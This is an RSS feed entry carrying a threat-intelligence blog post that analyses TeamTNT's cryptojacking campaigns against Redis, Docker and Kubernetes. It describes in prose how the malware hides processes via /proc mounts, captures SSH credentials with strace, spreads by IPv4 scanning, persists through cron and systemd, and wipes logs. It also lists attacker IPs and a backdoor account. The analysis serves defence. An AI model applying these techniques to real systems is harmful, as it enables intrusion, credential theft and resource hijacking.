<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Cryptomining</title><link>https://research.intezer.com/tags/cryptomining/</link><description>Recent content in Cryptomining on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Fri, 18 Feb 2022 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/cryptomining/index.xml" rel="self" type="application/rss+xml"/><item><title>TeamTNT Cryptomining Explosion 🧨</title><link>https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/</link><pubDate>Fri, 18 Feb 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/</guid><description>
&lt;h2&gt;Zusammenfassung (Executive Summary)&lt;span class="hx:absolute hx:-mt-20" id="zusammenfassung-executive-summary"&gt;&lt;/span&gt;
&lt;a href="#zusammenfassung-executive-summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Over the past year the TeamTNT threat actor has been very active. TeamTNT is one
of the predominant cryptojacking threat actors currently targeting Linux
servers. This blog investigates the threat actor&amp;rsquo;s activity and their Tactics,
Techniques and Procedures (TTPs)—providing all of this information in one place
so security teams can better detect and prevent attacks from TeamTNT.&lt;/p&gt;
&lt;p&gt;Based on our findings, we can conclude that they have been active since the Fall
of 2019, six months before the first public report on the threat actor&amp;rsquo;s
activity. As of this writing, TeamTNT is mainly focused on compromising &lt;a href="https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"target="_blank" rel="noopener"&gt;Kubernetes&lt;/a&gt;
clusters. Prior to this, they used to target servers running &lt;a href="https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports"target="_blank" rel="noopener"&gt;Docker&lt;/a&gt; and Redis. We
at Intezer also uncovered Windows binaries hosted on a TeamTNT server that was
potentially an experiment to target Windows machines.&lt;/p&gt;
&lt;p&gt;Much of the threat actor&amp;rsquo;s tooling has stayed consistent throughout their
different campaigns. The majority of their tools are based on shell scripts but
they also use some &amp;ldquo;tried and tested&amp;rdquo; compiled binaries in the attack chains.
For example, the use of the Tsunami malware, first documented by &lt;a href="https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;, has been a
staple of TeamTNT&amp;rsquo;s campaigns since October 2019. In addition to cryptojacking,
a second objective for the threat actor has been to exfiltrate information about
compromised hosts.&lt;/p&gt;
&lt;p&gt;As early as the Winter of 2020, Intezer saw the threat actor utilizing novel
techniques to steal SSH credentials from the compromised machine when it was
being used by administrators.&lt;/p&gt;
&lt;p&gt;TeamTNT has employed techniques to hide their activities on compromised
machines, making incident response investigations more difficult. All of their
scripts are designed to be executed without being written to disk or self
deleted after execution. They have used techniques of hiding their running
processes by mounting an empty folder over the process entry within the procfs,
or by using &lt;a href="https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool"target="_blank" rel="noopener"&gt;UserLand&lt;/a&gt; and &lt;a href="https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials"target="_blank" rel="noopener"&gt;kernel level rootkits&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The threat actor maintains a public persona on Twitter using the handle &lt;a href="https://twitter.com/hildeTNT"target="_blank" rel="noopener"&gt;HildeTNT&lt;/a&gt;. The
majority of their tweets are written in German and the account&amp;rsquo;s location is set
to Germany. In addition, many comments in the shell scripts used by the threat
actor are written in German. Therefore, it can be assumed that TeamTNT&amp;rsquo;s country
of origin is Germany. Much of their interaction with the security industry is
via commenting on reports covering their campaigns, mostly to point out
incorrect conclusions. During the Spring of 2021, TeamTNT refuted some campaigns
attributed to them. The tools used in these campaigns were based on some of
TeamTNT&amp;rsquo;s older scripts but not something they currently were using. This
suggests another threat actor has started to copy TeamTNT.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Die Einführung (Intro)&lt;span class="hx:absolute hx:-mt-20" id="die-einführung-intro"&gt;&lt;/span&gt;
&lt;a href="#die-einf%c3%bchrung-intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Since the introduction of Amazon Web Services (AWS), there has been a steady
migration from on-premise to cloud deployments. As part of this migration, the
security around services has also changed. On-prem deployments can sometimes be
more forgiving as a misconfigured service would also be behind a corporate
firewall, resulting in it not being exposed to everyone over the internet. A
misconfigured cloud service can be low-hanging fruit for an attacker. Palo Alto
Networks &lt;a href="https://unit42.paloaltonetworks.com/docker-honeypot/"target="_blank" rel="noopener"&gt;investigated&lt;/a&gt; the attacks against cloud servers during the Spring of 2021 via a
Docker honeypot, finding that it was attacked about every 90 minutes. Of these
attacks, around 76% were by cryptojacking threat actors. One of the most active
actors in this field is TeamTNT.&lt;/p&gt;
&lt;p&gt;The first public report on TeamTNT was published in May 2020 by &lt;a href="https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt; and covered
attacks against servers running exposed Docker instances. While this is early
activity, it is not the earliest that can be attributed to the threat actor. As
part of this report, we will share our knowledge about campaigns that took place
during February the same year and also provide evidence that TeamTNT has been
active since at least October 2019.&lt;/p&gt;
&lt;p&gt;The first set of campaigns by TeamTNT targeted only Redis instances. Throughout
their over a year and a half tenure, they have migrated away from focusing on
Redis to instead target Docker services and most recently Kubernetes clusters.
This includes the use of cloud &lt;a href="../../../2020/09/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"&gt;monitoring software&lt;/a&gt; to deploy cryptominers on vulnerable servers.&lt;/p&gt;
&lt;p&gt;The techniques and tools used by the threat actor have slightly evolved over
time but the general desired outcome has been the same. The first campaign that
we at Intezer uncovered, taking place around February 2020, used techniques for
stealing credentials and tried to stay hidden on the compromised system. Many of
the tools that are still used were leveraged in the first set of campaigns.&lt;/p&gt;
&lt;p&gt;For example, the Tsunami Internet Relay Chat (IRC) bot and the backdoor known as
Rathole were used. The majority of tools used by TeamTNT are either open-source
or source-code-available but we have also identified some custom written tools
and a possible pivot to targeting Windows machines. This is an interesting
deviation, since TeamTNT appears to be heavily invested in targeting *NIX
servers. The more recent campaigns have targeted Kubernetes and cloud workloads
with the goal to steal cloud-related configurations and credentials, in addition
to &lt;a href="../../../2021/01/a-rare-look-inside-a-cryptojacking-campaign-and-its-profit/"&gt;running cryptominers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TeamTNT is a bit of an anomaly when it comes to cryptojacking threat actors.
They have a public presence on the clear web while most threat actors stay
hidden in the shadows. The threat actor has a public profile on Twitter and
sometimes interacts with the research community tweeting about the success of
their current campaigns. Based on their social media account they are located in
Germany and the majority of their tweets are written in German. The threat
actor&amp;rsquo;s interaction with the research community mostly takes the form of
commenting on incorrect conclusions made by analysts.&lt;/p&gt;
&lt;p&gt;During the Spring of 2021 some new campaigns were uncovered that looked to have
all the makings of TeamTNT. In both cases, the threat actor was quick to point
out that it was not their campaign but rather someone was reusing their old
scripts to make it look like it was them. Prior to this, TeamTNT had not refuted
any campaigns attributed to them. Instead, they were mostly using Twitter to
show off their capabilities.&lt;/p&gt;
&lt;p&gt;The activity from TeamTNT does not appear to be slowing down. They continue to
reuse their tools in their attacks. This may be because their operations are
unhampered by security tools. Because of this and the potential misinformation
about the threat actor, we decided to take a deeper dive into TeamTNT&amp;rsquo;s
activities to gain a better understanding of their timeline and Tactics,
Techniques, and Procedures (TTPs). With this knowledge, we aim to organize all
of this information properly into one resource to help security teams better
detect and prevent attacks from this threat actor.&lt;/p&gt;
&lt;h2&gt;Der Anfang (The Beginning)&lt;span class="hx:absolute hx:-mt-20" id="der-anfang-the-beginning"&gt;&lt;/span&gt;
&lt;a href="#der-anfang-the-beginning" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The first public report on TeamTNT&amp;rsquo;s activity was published by &lt;a href="https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt; in May 2020.
While this report covers some of the early activities, it does not include the
initial activity that can be traced back to the threat actor. One of the network
indicators of compromise in this report is the domain name &lt;strong&gt;teamtnt[.]red&lt;/strong&gt;.
This domain was registered on February 10, 2020 and is one of the first
references to &amp;lsquo;TeamTNT&amp;rsquo; by the threat actor. This infrastructure was used by the
threat actor against attacks on unprotected Redis servers. The initial &amp;ldquo;setup&amp;rdquo;
script used in this campaign was &lt;a href="https://www.virustotal.com/gui/file/dad3016b75e89b415e3c7e360ec2ffa31e48b667082843013bbff719add826c7/details"target="_blank" rel="noopener"&gt;uploaded to VirusTotal&lt;/a&gt; on February 26, 2020. The setup script
downloads the rest of the modules used in the attack. Many of them are shell
scripts that are directly piped to either &lt;strong&gt;bash&lt;/strong&gt; or &lt;code&gt;/bin/sh&lt;/code&gt; but some files
were also written to disk. Figure 1 shows a diagram of all the parts downloaded
and executed by the different modules. The oldest files that we were able to
capture were added to the server four days after the domain name was registered,
giving us a good indication of when the initial campaign might have started.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig2.png" title="Figure 1: Diagram showing how different parts are downloaded and executed when the threat actor compromises an unprotected Redis server." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Diagram showing how different parts are downloaded and executed when the threat actor compromises an unprotected Redis server.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;The Setup&lt;span class="hx:absolute hx:-mt-20" id="the-setup"&gt;&lt;/span&gt;
&lt;a href="#the-setup" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The infection on the machine started with the execution of the &lt;code&gt;setup.sh&lt;/code&gt; shell
script that was located in a subfolder called &lt;strong&gt;load&lt;/strong&gt;. This script is
responsible for downloading and executing the other parts of the toolchain used
by TeamTNT. The file has a comment on the top as can be seen in Figure 2.
According to the comment, the file was the module &lt;strong&gt;scan/pwn Redis Server
Setup&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig3.png" title="Figure 2: The first few lines of the setup.sh file. The file sets up the machine to scan and infect other Redis servers." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: The first few lines of the setup.sh file. The file sets up the machine to scan and infect other Redis servers.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;One of the first things the script does is check if a specific binary is running. If it doesn&amp;rsquo;t run, it downloads a setup script called &lt;code&gt;whois2.irc.sh&lt;/code&gt; for this binary. The binary installed by this shell script is an instance of the Tsunami malware. For more information about this malware, see the Tools section.&lt;/p&gt;
&lt;p&gt;Two additional shell scripts were downloaded from the server (hosted at
teamtnt.red), &lt;code&gt;tmp.min.sh&lt;/code&gt; and &lt;code&gt;sysinfo.txt&lt;/code&gt;. The first shell script installs
the miner on the infected machine while the second collects host information.&lt;/p&gt;
&lt;p&gt;Following the download and execution of the shell scripts, the scripts try to
hide their process. The shell commands executed are shown in Figure 3. To hide
the process, a shell script is created at &lt;code&gt;/bin/hid&lt;/code&gt;. The shell script hides the
process by first making a copy of &lt;code&gt;/etc/mtab&lt;/code&gt;. After this, it mounts an empty
folder over the process&amp;rsquo;s folder under &lt;code&gt;/proc&lt;/code&gt;. Lastly, it overwrites the
&lt;code&gt;/etc/mtab&lt;/code&gt; file or symbolic link with the copy it made before the mount. These
steps hide the process from programs that walk the &lt;code&gt;/proc&lt;/code&gt; filesystem, for
example, &lt;strong&gt;ps&lt;/strong&gt; and &lt;strong&gt;top&lt;/strong&gt;. If an admin checks the &lt;strong&gt;mtab&lt;/strong&gt; file the mount
entry is not present, but listing the mount points by executing the &lt;strong&gt;mount&lt;/strong&gt;
command shows bind mount. After the setup executes the &lt;strong&gt;hid&lt;/strong&gt; shell script it
mounts another instance of the &lt;strong&gt;proc&lt;/strong&gt; filesystem under &lt;code&gt;/proc&lt;/code&gt;. This
essentially results in undoing the process performed by the &lt;strong&gt;hid&lt;/strong&gt; shell
script.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig4.png" title="Figure 3: Section of the setup script that creates a shell script for the hiding process." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Section of the setup script that creates a shell script for the hiding process.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;To prevent other threat actors from also compromising the Redis instance, the setup script added &lt;strong&gt;iptables&lt;/strong&gt; rules to only accept connections on port 6379 from localhost. The shell script also performs a request to the C2 server that appears to be for logging the infected machine&amp;rsquo;s IP address.&lt;/p&gt;
&lt;p&gt;During this campaign, the threat actor focused on compromising unprotected Redis
servers. The setup script creates the payload that is executed on the Redis
servers. The code is shown in Figure 4. It&amp;rsquo;s using Redis&amp;rsquo;s &lt;a href="https://redis.io/commands/FLUSHALL"target="_blank" rel="noopener"&gt;FLUSHALL&lt;/a&gt; issue to create a
cron job that downloads a setup script. This setup script is almost identical to
the main setup script, except that it doesn&amp;rsquo;t set up Tsunami.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig5.png" title="Figure 4: Code for creating the Redis payload." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Code for creating the Redis payload.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The setup script checks if Tsunami and bioset are running. If they are, the script restarts the processes to hide them with the &lt;strong&gt;hid&lt;/strong&gt; shell script. If they are not running, it downloads them followed by starting and hiding them.&lt;/p&gt;
&lt;p&gt;To find other Redis servers to infect, the threat actor uses &lt;strong&gt;pnscan&lt;/strong&gt;. The
setup script downloads the source code for the scanner and compiles it. The
scanner is &amp;ldquo;installed&amp;rdquo; at &lt;code&gt;/usr/sbin/dbus-daemon&lt;/code&gt;. Another shell script is
downloaded that handles scanning and sending the payload to any found Redis
servers. When all stages have been downloaded and started, the setup script
removes itself from the infected host.&lt;/p&gt;
&lt;h3&gt;DDoS Bot Setup&lt;span class="hx:absolute hx:-mt-20" id="ddos-bot-setup"&gt;&lt;/span&gt;
&lt;a href="#ddos-bot-setup" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;This shell script downloads and installs the Tsunami DDoS bot. The script
installs the binary to two different places based on if the script was executed
as root or not, Figure 5. If it is executed as root, the malware is installed to
&lt;code&gt;/bin/kthreadd&lt;/code&gt;, otherwise, it is installed to &lt;code&gt;/tmp/.tmp&lt;/code&gt;. Before installing
the malware, the script flushes and deletes all the &lt;strong&gt;iptables&lt;/strong&gt; chains to
ensure it can connect to the C2 server without any resistance.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig6.png" title="Figure 5: The script installs the bot under /bin if it has root permissions. Otherwise, it is installed into the /tmp folder." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: The script installs the bot under /bin if it has root permissions. Otherwise, it is installed into the /tmp folder.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Gather Information About the System&lt;span class="hx:absolute hx:-mt-20" id="gather-information-about-the-system"&gt;&lt;/span&gt;
&lt;a href="#gather-information-about-the-system" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The file &lt;code&gt;sysinfo.txt&lt;/code&gt;, while disguised as a text file, is a shell script that
is executed by the setup script. A &amp;ldquo;lock&amp;rdquo; file is created in case the script is
executed multiple times on the same machine. Figure 6 shows the check for the
lock file. If it exists, the script exits early. If this is the first time it&amp;rsquo;s
executed, it starts collecting information about the machine. In the same
figure, the logic used to determine the available RAM is also shown.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig7.png" title="Figure 6: Part of the script that checks if system information has already been collected for the machine. If it hasn&amp;#39;t, it gets the available ram." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Part of the script that checks if system information has already been collected for the machine. If it hasn&amp;#39;t, it gets the available ram.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The script also collects: username of the user executing the script, CPU speed, how long the machine has been running, if it&amp;rsquo;s 32 or 64-bit, the number of CPU cores, and which Linux distribution. All this information is sent to the threat actor&amp;rsquo;s server via the &lt;strong&gt;wget&lt;/strong&gt; command shown in Figure 7. When the script is done, it deletes itself.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig8.png" title="Figure 7: Exfiltration of host information to the actor-controlled server." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Exfiltration of host information to the actor-controlled server.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Capture SSH Credentials&lt;span class="hx:absolute hx:-mt-20" id="capture-ssh-credentials"&gt;&lt;/span&gt;
&lt;a href="#capture-ssh-credentials" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;s_poor.ssh.sh&lt;/code&gt; shell script is downloaded by the setup script and according
to the comment at the top of the file, shown in Figure 8, it is used to steal
SSH credentials.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig9.png" title="Figure 8: Comment at the top of the SSH credential stealing module." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Comment at the top of the SSH credential stealing module.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The module uses &lt;strong&gt;strace&lt;/strong&gt; in combination with a shell &lt;strong&gt;alias&lt;/strong&gt; to log the activity. A cron job is used to upload the log files to a threat actor-controlled server. As can be seen in Figure 9, the script adds the alias code to the &lt;strong&gt;bashrc&lt;/strong&gt; file for the root user and all the normal users on the machine. After this, when a user uses &lt;strong&gt;SSH&lt;/strong&gt; to connect to another machine, strace is used to log the activity to a log file. The cron job seen added in the same figure executes the upload script every five minutes.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig10.png" title="Figure 9: SSH credential collection via strace. The log files are uploaded every five minutes via a cron job." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: SSH credential collection via strace. The log files are uploaded every five minutes via a cron job.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The upload script is relatively simple, shown in Figure 10. It checks if the log files exist. If they do, it uses &lt;strong&gt;curl&lt;/strong&gt; to upload the files before it is removed.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig11.png" title="Figure 10: Upload script for the strace logs." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: Upload script for the strace logs.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Scan for Other Machines to Compromise&lt;span class="hx:absolute hx:-mt-20" id="scan-for-other-machines-to-compromise"&gt;&lt;/span&gt;
&lt;a href="#scan-for-other-machines-to-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The &lt;strong&gt;dbus-config&lt;/strong&gt; file downloaded by the setup script is a Redis exploit/scan
module. As can be seen in Figure 11, it uses &lt;strong&gt;pnscan&lt;/strong&gt; that was downloaded and
compiled earlier. It scans the whole IPv4 space for other Redis servers. If it
finds another server, it uses the Redis client on the machine to send the
payload, which causes the exploited service to set up a cron job that will
download the setup script.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig12.png" title="Figure 11: Redis scanning functionality." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: Redis scanning functionality.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The results are uploaded to a threat actor-controlled server as can be seen in Figure 12.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig13.png" title="Figure 12: Scan results uploaded to a threat actor-controlled server." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 12: Scan results uploaded to a threat actor-controlled server.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Cryptomining&lt;span class="hx:absolute hx:-mt-20" id="cryptomining"&gt;&lt;/span&gt;
&lt;a href="#cryptomining" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;tmp.min.sh&lt;/code&gt; shell script&amp;rsquo;s main job is to set up the mining process. It
downloads the miner, a watchdog process, and the configuration file. The
installation process depends on if the shell scripts have root permissions or
not. If they do, a second stage is downloaded and executed to perform the root
setup. Otherwise, the scripts download and install the files into the temp
directory. The configuration is modified to be unique for each infected host. A
worker ID is created based on the username of the user executing the script and
the machine name. The miner used is a fork of XMRig called &lt;a href="https://github.com/Bendr0id/xmrigCC"target="_blank" rel="noopener"&gt;XMRigCC&lt;/a&gt;. It provides a
dashboard that can be used to control the miner. The command center used in the
campaign was located at &lt;code&gt;80.211.206.105&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Watchdogd Process&lt;span class="hx:absolute hx:-mt-20" id="watchdogd-process"&gt;&lt;/span&gt;
&lt;a href="#watchdogd-process" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The watchdogd binary is a simple application written in C++. A code reuse
analysis is shown in Figure 13. Its sole purpose is to ensure that the miner is
running. It does this by using a loop to call libc&amp;rsquo;s &lt;strong&gt;system&lt;/strong&gt; function. If the
process exits, the call to the system is repeated.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig14.png" title="Figure 13: Code reuse analysis of the watchdogd binary." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 13: Code reuse analysis of the watchdogd binary.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;NarrenKappe&lt;span class="hx:absolute hx:-mt-20" id="narrenkappe"&gt;&lt;/span&gt;
&lt;a href="#narrenkappe" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;NarrenKappe, which translates to jester hat, is a mining setup script that is
executed if the script has root-level permissions. Since it has higher
permissions, it performs some additional actions than when executed as a normal
user.&lt;/p&gt;
&lt;p&gt;First, it checks if the watchdog process is running and exits the setup.
Otherwise, it checks if old files from a previous infection exist on the machine
and removes them. Following this, it removes all the cron jobs on the machine.
It tries to clean out other infections using the commands in Figure 14.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig15.png" title="Figure 14: Commands used to clean the system." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 14: Commands used to clean the system.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The script downloads a 64-bit or 32-bit miner depending on what is supported as can be seen in Figure 15.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig16.png" title="Figure 15: Download and installation steps used by the mining setup script." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 15: Download and installation steps used by the mining setup script.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The mining configuration is modified to include a unique identifier for the infected host. The logic is shown in Figure 16.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig17.png" title="Figure 16: Logic for modifying the mining software&amp;#39;s configuration file with host information." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 16: Logic for modifying the mining software&amp;#39;s configuration file with host information.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The script ensures the processes are started again if the machine is rebooted. The script adds either a System V init script or a systemd service depending on what is used by the system. The commands executed in either path are shown in Figure 17.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig18.png" title="Figure 17: Code for adding either a System V init script or a systemd service." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 17: Code for adding either a System V init script or a systemd service.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It ensures that the service is running by adding a cron job that is executed every hour, Figure 18.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig19.png" title="Figure 18: Cron job executed every hour." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 18: Cron job executed every hour.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In addition to setting up the mining process, the script also starts another script that: scans for Redis servers, downloads and executes a post-exploitation tool called &lt;a href="https://github.com/r3vn/punk.py"target="_blank" rel="noopener"&gt;punk.py&lt;/a&gt;, and exfiltrates SSH keys, bash history, known SSH hosts, and the host file.&lt;/p&gt;
&lt;h2&gt;Removing All Traces&lt;span class="hx:absolute hx:-mt-20" id="removing-all-traces"&gt;&lt;/span&gt;
&lt;a href="#removing-all-traces" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;cyo.sh&lt;/code&gt; script is run by the mining setup script if the watchdog process is
already running. The script is used to clean out the logs on the machine. First,
it hides the process and downloads a log cleaner &lt;a href="https://packetstormsecurity.com/files/33821/log_clean.c.html"target="_blank" rel="noopener"&gt;written in C&lt;/a&gt;. As can be seen in Figure
19, the logs for the users &lt;strong&gt;reboot&lt;/strong&gt;, &lt;strong&gt;hilde&lt;/strong&gt;, and &lt;code&gt;.r00t&lt;/code&gt; are cleared before
it uploads the bash history of the root user to the threat actor&amp;rsquo;s server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig20.png" title="Figure 19: Log cleaning for three user accounts and exfiltration of the root user&amp;#39;s bash history." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 19: Log cleaning for three user accounts and exfiltration of the root user&amp;#39;s bash history.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Folgen Sie dem Semmelbrösel&lt;span class="hx:absolute hx:-mt-20" id="folgen-sie-dem-semmelbrösel"&gt;&lt;/span&gt;
&lt;a href="#folgen-sie-dem-semmelbr%c3%b6sel" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Using information that was present in this campaign, we were able to find some
earlier activity. The &lt;strong&gt;rathole&lt;/strong&gt; binary used in this campaign was uploaded to
VirusTotal as early as October 2019. Figure 20 shows a screenshot of the
submission date.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig21.png" title="Figure 20: First submission of the rathole binary to VirusTotal." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 20: First submission of the rathole binary to VirusTotal.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A script file that was included in the archive with the miner but not used in this campaign included the functionality to download &lt;code&gt;punk.py&lt;/code&gt; from a server located at &lt;code&gt;116.62.122.90&lt;/code&gt;. This IP was found referenced in a shell script file called &lt;code&gt;ash.sh&lt;/code&gt; that was uploaded to VirusTotal in January 2020. It has very similar functionality as observed in this campaign. An out-commented line in the file references the URL &lt;strong&gt;http[:]//3[.]215[.]110[.]66/src/bioset&lt;/strong&gt;. Additionally, the script adds an SSH key and creates a user called &lt;strong&gt;hilde&lt;/strong&gt; with the password &lt;strong&gt;gard&lt;/strong&gt;, Figure 21.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig22.png" title="Figure 21: Shell script from January 2020 that creates a hilde user and adds a SSH key." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 21: Shell script from January 2020 that creates a hilde user and adds a SSH key.&lt;/figcaption&gt;
